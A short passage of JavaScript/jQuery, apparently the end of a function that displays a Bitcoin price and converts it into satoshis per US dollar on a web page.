return true;
} else {
$('#usdxbtc').html(btc_price);
var usd_price=parseFloat(100000000/btc_price).toFixed(0);
$('#satxusd').html(usd_price);
}
}